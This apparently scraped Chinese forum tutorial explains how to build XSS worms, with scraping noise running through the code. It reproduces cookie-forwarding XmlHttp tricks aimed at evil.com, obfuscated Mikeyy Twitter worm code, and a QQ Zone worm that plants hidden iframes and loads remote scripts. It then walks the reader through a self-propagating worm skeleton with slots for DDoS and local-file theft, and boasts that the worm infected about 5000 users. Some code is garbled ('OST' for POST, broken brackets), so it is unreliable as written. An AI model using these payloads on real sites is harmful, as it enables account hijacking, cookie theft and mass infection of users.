2 ?( B1 D' P# U: F: p$ p复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

4 U; u: ^% {1 \; D8 \XmlHttp.open("GET","http://www.google.com",false);

0 V" v$ y' F0 ^* z9 w/ fXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

  h5 x' U! }4 F9 L% ^+ H</script>
/ L, M7 R, ]8 j复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

2 f. Y. l: w% z6 D4 Uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
, Z( w6 c7 C0 v+ R6 G0 U$ i) A

- k1 {+ f( {/ [, \& J& s; P/ Y( `9 I
# v. S4 k4 U% n8 Z. a+ ZXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
$ o- u6 m7 y, d* z
2 h* g  }8 b- A3 yXmlHttp.send(null);

<script>
1 A! o% }4 g+ j5 H; G( X$ o% K复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
8 I5 y: ]# A3 g  h" R9 p! k复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

6 天前 08:27

$ m1 q$ d7 S9 K/ G第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
" p/ A! G/ L# r! M8 ]6 T
6 o6 F+ Z: B& E- ~   3. function XHConn(){  

8 b0 `3 x& Q; O0 j0 P   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

3 }2 d, C( e! Q* a0 b; x# E   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
: x( D6 y7 R2 t4 Z
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

0 n: J6 J- o$ P" c- q: b   2.   var content = document.documentElement.innerHTML;  

- k1 y  ^% G, K; W/ s& A   3.   var tmp_cookie=document.cookie;  

: ?& w* {2 k/ d   4.   var tmp_posted=tmp_cookie.match(/posted/);  
/ ]$ S7 \: X# q- [
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
4 h( {2 u" ?" S5 W! @; f, f5 I4 F
# Y- m) V* S2 g% i* l2 l   6.   var authtoken=authreg.exec(content);  

, p' u6 }/ p0 C  M' S: a6 Q3 K2 G8 R3 {   7.   var authtoken=authtoken[1];  

- ^; l" O' W3 I, \4 d   8.   var randomUpdate= new Array();  

% f3 N! k9 c0 i   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

$ L6 E9 n" A% x) m9 x7 S8 o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
! X- l3 U4 Q) E
8 _% ]9 B8 e% M) x, ^  v  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
6 z5 `, ]' H8 l* a
7 A0 B- O8 m' z, @& o  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
4 q% l8 h& i, B  e2 j
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
4 {/ X) R% Q9 x7 L* O4 i4 [" W$ }- C
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
' u( Q# ~3 l0 b4 `
3 G0 H) f# X1 G2 _  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
! r$ Q9 o: ]' H& j
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

) I! s+ J% F; B# Y" {' {8 e  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

+ B$ G, r( K3 t5 h+ ]  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

7 |3 b' @" t7 A4 z  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
0 s1 j7 x8 R* h6 p; I: c5 M5 l9 c
0 p( [& ^' p8 n0 W0 u3 Z  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

) r: A  Z/ E( [9 ?# \1 `( }, o) }2 {  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
6 V7 e6 K; Q- a+ ^
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
/ j8 w3 A2 O! R( |, o, L# A1 K
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
( q) K, C6 H2 O  L2 ]
  27.     
3 d- K" M! g, ?! w
  28.   var ajaxConn= new XHConn();  
( n) k8 K; U1 O8 C: H+ u
7 s- h1 O  W" b% D% J0 i, _4 L  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
. A+ E+ H9 j5 z5 w1 Z
  30.   var _0xf81bx1c="Mikeyy";  
7 Q# s& z; |! E: s
- }; ?$ p6 t( l5 u  A" Y  31.   var updateEncode=urlencode(_0xf81bx1c);  

3 [; R/ P5 M$ F. y2 G  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
& u2 s! m3 m0 x' n
; k% W* W4 j' q3 E! c* P  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

3 V1 U% P% M+ O& H# ^( f  35.   var XSS=urlencode(genXSS);  
9 x9 l* s7 e# \% j4 k; w
5 b* E1 B) ], [2 B  36.   var ajaxConn2= new XHConn();  
7 `% o2 c8 j, X9 |) R
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
+ i- X0 S4 H* f/ x
  38.     
% U' E5 Y5 @* Q' |  `/ I" ^
' `# I0 L; b. u  39. } ;  
& V5 B* u' S! z; [
  40. setTimeout(wait(),5250);  
, _9 \$ {* j4 L, Z2 R, g  r6 m复制代码QQ空间XSSfunction killErrors() {return true;}
8 g2 c% I2 W( e, \- Y
window.onerror=killErrors;

+ N% F& f* D, B) j
* s! @1 v$ Q/ a( k
8 ?& X! \3 u: p& b. _var shendu;shendu=4;
: g* p: i5 T# w
//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

+ r- c" m% k$ ?6 J/ f1 M0 p+ uvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
1 W  q! T! M/ G& _6 ~$ x
var myblogurl=new Array();var myblogid=new Array();
- v5 @2 b- z# n+ Z1 y' n$ x
        var gurl=document.location.href;

$ M$ _- S3 B& d/ D8 n! U        var gurle=gurl.indexOf("com/");

: ~8 V* U4 _! U' R' @        gurl=gurl.substring(0,gurle+3);        
! K' H; ]6 K5 E
        var visitorID=top.document.documentElement.outerHTML;

  {' i9 [* ]+ \& |1 y8 F4 T           var cookieS=visitorID.indexOf("g_iLoginUin = ");
( s; x" K6 c5 }& N/ N
        visitorID=visitorID.substring(cookieS+14);
% g( a' q( J) n/ p7 M
        cookieS=visitorID.indexOf(",");
: s% o  E; m) v, M2 D7 t- W
        visitorID=visitorID.substring(0,cookieS);

6 S5 n; b2 P5 y1 m( o) X: J6 a        get_my_blog(visitorID);

2 S- P3 H. r4 U) t        DOshuamy();
" }/ P# E" F8 x

( t# W+ t3 D) S
//挂马

function DOshuamy(){

+ |- `; u0 x/ ]4 s3 }. s$ Nvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
6 z* {+ s# w! Z, W, T2 C
4 g. l5 G, L6 ^( B$ M$ ^0 c# D+ b}

$ Z; H) b( X5 V0 ~3 a
2 y' K$ ~2 K2 V$ K. n/ R
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
( e, w4 e/ z  W+ W5 ~% u
1 y$ L; x5 ?' Q% N. |8 X& T   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
& a/ O; {3 T9 h* y( v
- [/ T2 e# u/ _7 b2 `. j- x   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
, Z! C5 Q' n6 n  I0 ]
& `8 c$ ~, \& O8 T- z9 u   if(xhr){    //成功就执行下面的

8 L0 ^/ G: A% z+ d" w0 e3 F+ b8 C     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 l: x9 d4 I. O
0 t; x0 L. U5 j3 ~     xhr.send();guest=xhr.responseText;

, g) _% ~3 ~( t' J     get_my_blogurl(guest);    //执行这个函数
7 E6 n/ x! w" y4 C  u/ D( j  E7 L- I
    }
6 f8 J9 l1 p7 p, f3 {7 _1 _
% v  W1 k# k" `& f: F, P. P}

, J6 S- p8 o7 `; l% W

//这里似乎是判断没有登录的

function get_my_blogurl(guest){
/ W) w. r' C9 k; F/ r5 |
. o2 g$ z; e6 q  var mybloglist=guest;

" \4 {: B! O9 t/ @( a  var myurls;var blogids;var blogide;
! ]  d( n* L: ~+ {: N& T& _# h9 `3 w
  for(i=0;i<shendu;i++){
' W# Y. g" b' ~* d6 m' w  I' u
  I' C+ z& C+ T; m     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
1 V0 @$ U) c$ I- g) Y& R4 e7 t
2 v0 ~: }- G3 b' X         mybloglist=mybloglist.substring(myurls+11);

" c& z0 W& K2 @- P8 u( P         myurls=mybloglist.indexOf(')');
. C( |: C2 x- i! C, J; Y. z$ L3 W
. r; o  j: {6 O         myblogid=mybloglist.substring(0,myurls);

1 k0 m, |0 o4 V. C! N3 ?        }else{break;}

# p% D. Q; m+ d}

get_my_testself();    //执行这个函数
) N$ t( i7 D3 H/ k, A4 t
}



//这里往哪跳就不知道了
- O2 Y0 `' M1 V
0 @- B  U+ T9 ?; I4 o# T5 M7 w" Dfunction get_my_testself(){

$ [! |- @$ M: ]  for(i=0;i<myblogid.length;i++){    //获得blogid的值
/ x# j# i5 W5 m  x& S/ u6 u3 h- [' y
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

* A% h& _! ~( y+ Y6 }) r  k      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

: C( y$ L4 @! W* E: N: e7 C      if(xhr2){        //如果成功
, S7 q9 [2 [) s% o! a+ X
* s. E& q9 ~! N- l0 j4 c( h              xhr2.open("GET",url,false);     //打开上面的那个url
0 Z' E2 S7 C, i4 W! k( G6 D$ t
              xhr2.send();

  Q1 I6 z# n! \; y1 E, Z# j1 S              guest2=xhr2.responseText;
: s# g: i$ G$ G$ v) w) d( Y5 k
+ C3 V$ T1 b& Q% t8 U6 t; P              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
& w) ^8 ]2 S7 }  r. v/ V- N3 U
" G. h4 w% Q+ a5 i$ h              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

! c$ m5 p8 Y6 v              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

, R/ N  m# m2 N                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
' {+ _; k/ l& X3 v% @, k
$ v: e5 B; t- M2 G1 n6 _               }
) w5 a2 q- s+ n7 J. s
% P2 U# X6 W5 l3 m: G) |              if(mycheckit=="-1"){

' M9 n. g4 ?5 q                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
2 }- O' k5 n: w  |
                break;

               }
" ?2 C* p! S) Y% h
        }      
9 {3 N5 u9 O5 }. a1 x' F9 z
2 D7 `' z$ R% W5 }) Q) \}

& S! k, a2 b/ e# Q8 u}
8 q! B6 r8 k9 X. S* N0 t

+ H$ M' U& p8 i( B& A
//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
/ ]4 O' h, R- V; Y  p5 `. V8 Z
) ^& a, Q5 x( s& G' J7 Nfunction createXMLHttpRequest(){

: X$ w" O. H5 ]2 o+ N5 U9 V    var XMLhttpObject=null;  
: x; }1 M' q/ n
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
0 U( h( W5 k. u1 Z
# m+ w; [% u! S: }    else  
( j% A4 P+ ?4 |; c8 `$ ~4 f! n- a
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
. i# w$ P/ V$ S4 v! g# |
0 h6 p4 Y# Q" E        {  

            try  

            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

1 S! f9 p( n! ^. o4 N4 h                break;  

3 Z3 Z& J. u1 z( |4 e            }  

: z1 H  h# d; i' Q1 x/ Q6 ?1 Q            catch (ex) {  
$ J- L/ h! y5 F# H
            }  
7 o; ?. y, L9 ]! T7 @. U
$ K- t. }( s. R/ z0 f" E         }  

7 ]# W; k: _) |# V# Y" S* F      }

return XMLhttpObject;
- R3 C# N0 Y! `8 |$ Y; I
}  



7 w) _# i$ D" q* @& |//这里就是感染部分了
8 I: [8 q# |4 k: H4 j* Y4 V3 W
function add_js(visitorID,targetblogurlid,gurl){
& ]5 t; h% ^; d' t
var s2=document.createElement('script');
6 a& m* y! C# {
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: }- G- {3 l$ o& r+ }3 k8 {# a
7 R( n" k! a8 B! {% v& {( ~s2.type='text/javascript';
* U( [9 Q& H  ], l) R3 X% Q; A
document.getElementsByTagName('head').item(0).appendChild(s2);

# Y4 d5 W8 V, O* Y6 M' x+ b}

( q" o. b, }  \  A

function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

. ~# F- Z, x/ k2 }- {s2.type='text/javascript';
5 e( [. Z7 [8 V2 [$ t3 C( \
document.getElementsByTagName('head').item(0).appendChild(s2);

  ?, U7 j0 Q: V) F1 h! F}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
+ Q7 e9 t6 q; [/ m4 F, d1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
0 f! c6 O# F5 {  q+ d* o% S
1 W+ m5 t' p' I2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& c  q3 w0 ~8 g% Q2 `
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 O( e5 d5 k% s2 ?
! D2 H9 F: I" A/ Y3 o( v首先,自然是判断不同浏览器,创建不同的对象var request = false;

5 ]/ E2 q5 D) T, @, c. sif(window.XMLHttpRequest) {
% q3 U  x7 X# Z, G$ c* g0 O
request = new XMLHttpRequest();
5 e- ]* O% Y' @
# F9 X% J6 F. Fif(request.overrideMimeType) {

request.overrideMimeType('text/xml');
% J1 W2 q; L" q: v3 @' L9 s
}
% i7 [; X- x# r0 P
} else if(window.ActiveXObject) {
# r9 I( s5 ?9 [' k, E$ k
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

+ M5 T! X& U  R+ {9 y% }$ _' wfor(var i=0; i<versions.length; i++) {

try {

6 C  F0 v) l  }' m5 T, `$ l5 yrequest = new ActiveXObject(versions);
4 G/ }4 U: O+ J* s
} catch(e) {}
& M% B3 A. I' G3 ~& c  b
}
0 B, Z' p* a) n' p9 r$ @  L$ C
}
- a# H( Q6 O% T3 M' i
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

/ K; c4 _! i+ p: q7 T  r1 @        var Browser_Name=navigator.appName;
$ n; l4 L! v4 b8 j
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        

        var Actual_Version,Actual_Name;

3 u& [! h1 \' w, v( ^. ~        

/ f3 k, U1 h1 n! Y        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
+ \+ n- m4 J4 W& _
        var is_NN=(Browser_Name=="Netscape");

9 ^; P& X1 [2 L! H, }6 ~! ?( ~        var is_Ch=(Browser_Name=="Chrome");

' p% l. V% C# D5 r# G) E, j        
1 t+ W. r. E0 |0 m. S; {
        if(is_NN){

9 z. @! k5 Y3 \/ G: Q: j# @            if(Browser_Version>=5.0){
% z1 ^  D" X- n6 Z, }( F
" [- ~7 k- ?2 a% }3 ]                var Split_Sign=Browser_Agent.lastIndexOf("/");
* Z5 |8 X+ r( [
, E, R9 T& q, F0 |                var Version=Browser_Agent.indexOf(" ",Split_Sign);

6 F% \7 u& T  P2 `8 {                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
3 T; C8 l- i% a+ |5 B
2 h5 L: t# @) @* g

" w* v3 @/ A, z4 [* n                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

" t4 u8 y5 a9 q9 _                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: k" p$ ~! h* Y7 ~
, ~& g! c$ E0 y            }

7 r& a; ]! C" d& h% h            else{

                Actual_Version=Browser_Version;
2 v2 o! A4 v; Z) g  C. E( B- C4 y
8 P9 F) V5 x( X" z                Actual_Name=Browser_Name;
( s) n! ]" w( b9 J7 L  t6 W+ f; {* I
            }

  F4 G# W( o/ \7 k& z/ ]        }

        else if(is_IE){
6 z3 |4 S1 i8 _$ _; W2 F1 `
            var Version_Start=Browser_Agent.indexOf("MSIE");

' a+ j4 x) g# a$ C" ?            var Version_End=Browser_Agent.indexOf(";",Version_Start);
+ t3 q  ?1 s2 t; M
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
/ J" o2 D9 C- u2 j' k" H& v* v
            Actual_Name=Browser_Name;

            

# M# [5 ~$ r* \! p9 K            if(Browser_Agent.indexOf("Maxthon")!=-1){
' h+ ?; T7 k4 Y/ ?, H0 \
                Actual_Name+="(Maxthon)";

            }

& x  H: r: I9 O            else if(Browser_Agent.indexOf("Opera")!=-1){
; M. q- x  ~0 w
' G. H8 K: s4 ]- I, \) @                Actual_Name="Opera";

4 F- g& j3 n* Y  \4 k                var tempstart=Browser_Agent.indexOf("Opera");

" P9 _" h. i  ]  Q* C- {% H                var tempend=Browser_Agent.length;

. D: ^9 T, R$ n; U# @' ?                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
, O8 D( Q3 c/ ^! r, e# y- w
            }
7 f1 v; S5 T: @6 S; U( ~! z9 F! k
        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
) _& F7 g2 g/ {9 x( g* ?
8 T: n, J' Z2 ~" \3 X$ Z            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
" O) Q, n& v: I; N6 l
            Actual_Name=Browser_Name;

            

; b/ W( e; e3 N# K+ g9 e8 }8 l+ `            if(Browser_Agent.indexOf("Maxthon")!=-1){

6 L- f% e7 J% I# J# P* H                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
% V: d# {# |" D+ n2 Y  [( @% u- }. p
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
% `" k' v7 A+ h$ D
8 E) h6 i( q( L3 _, _                var tempend=Browser_Agent.length;

- l1 J1 c+ f% h                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
8 j7 k+ ^5 r! w7 d1 r- D
5 F% A* M1 k8 X: V" y9 _- o: g        }
  {. d9 r* C& \) Q1 ^* l4 D( A
        else{

& g) E9 H* R: U. `2 ~            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
; R2 i9 ~* ?4 n/ |
/ q0 V1 f$ _3 K# D6 A/ I( L        }
* n1 H( U* J( n5 E: `) E


        navigator.Actual_Name=Actual_Name;

8 }/ o* H) g$ ?) R" ]7 L. j7 L        navigator.Actual_Version=Actual_Version;
  T. I* h" ?, L0 c+ g
        
' E9 r8 F% N. p1 R4 b
        this.Name=Actual_Name;
5 o/ _* t1 `9 J- Y+ Q
        this.Version=Actual_Version;
6 w1 d' Z2 `! I4 l
( A1 l* a/ W' W3 [6 d1 W    }
5 F% g2 V1 X& h
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
  v: E  ~- l  x# d
# ^. {' i0 V# _, M6 v) ^+ B" y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
# u% Y7 B& f: r3 {. g: R
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
( q9 X4 W; l8 S2 B; v$ u, _5 c' s复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

' z3 Q" u, M$ BxmlHttpReq.send(null);
3 X% c9 J0 E% R( Y9 E3 ]7 @0 e
% I$ k6 w  V  [& u  I' o7 m9 Wvar resource = xmlHttpReq.responseText;
" B1 P/ ?8 `  y
var id=0;var result;
7 x% ]5 ^9 o: J% w
5 L0 C" O; c9 R: U1 y: B+ Avar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

& r1 g# A% G" t3 D+ lwhile ((result = patt.exec(resource)) != null)  {
. h( O; P: m: O4 n8 F
1 w' L/ P* [& W; N' B5 d: tid++;
$ e6 [6 r9 Y6 y) Q$ X  \
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
7 @9 g5 N/ V* [% Q' n+ n" Q
no=resource.search(/my name is/);
, a# r8 L  B5 k& ~
9 n  X$ B4 ^. pvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
* C6 P1 Z  j" @2 l$ X! d" B/ y  j
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
$ T: v+ O1 d  K
( F, L+ {  i/ P5 d( X, r+ sxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

% T5 K+ O$ ^+ i0 C! n, dxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 D+ p! @* o5 j3 z4 |0 F: A2 wxmlHttpReq.send(post);
) d. T2 j$ e4 \7 D
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

. H2 u( }* [$ _var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

8 D+ o" C' X* H8 _var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

% B: p/ ]; |$ {% hvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

' s9 e5 A9 @; a; tvar post="wd="+wd;
3 T$ ?1 A- D# z, U
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

& t/ @# E* O" Z' r) O# ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

; q$ N( y& i& f7 P* rxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

8 ]: l8 o( j+ z) p4 nxmlHttpReq.send(post);                 //把传播的信息 POST出去.
6 i2 O$ F# M0 L7 G
0 o! N7 M8 V  F! c/ a" s' E}
) \, ^" W$ v: f' q0 \) A复制代码-----------------------------------------------------总结-------------------------------------------------------------------

7 _0 U7 {) X* p( w1 G& H
5 V( ?6 i% g5 ]; T/ s# A+ K' l6 H
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
# p+ m' R' r9 T$ {& N; T' p8 w% J

2 v) E# Z) H/ U4 q
. R7 _  q% o- p2 e7 e
/ P' o! Z$ ?6 o; C$ \; |- }

) O/ j, w. f& h6 `  u

3 K0 {8 F$ t' Z) X5 U本文引用文档资料:
* \( |7 o1 X9 f1 t
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
5 p) g% _8 i0 Ghttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ P  r5 a* ^" K! I! u空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
) f+ w" ]" [$ ^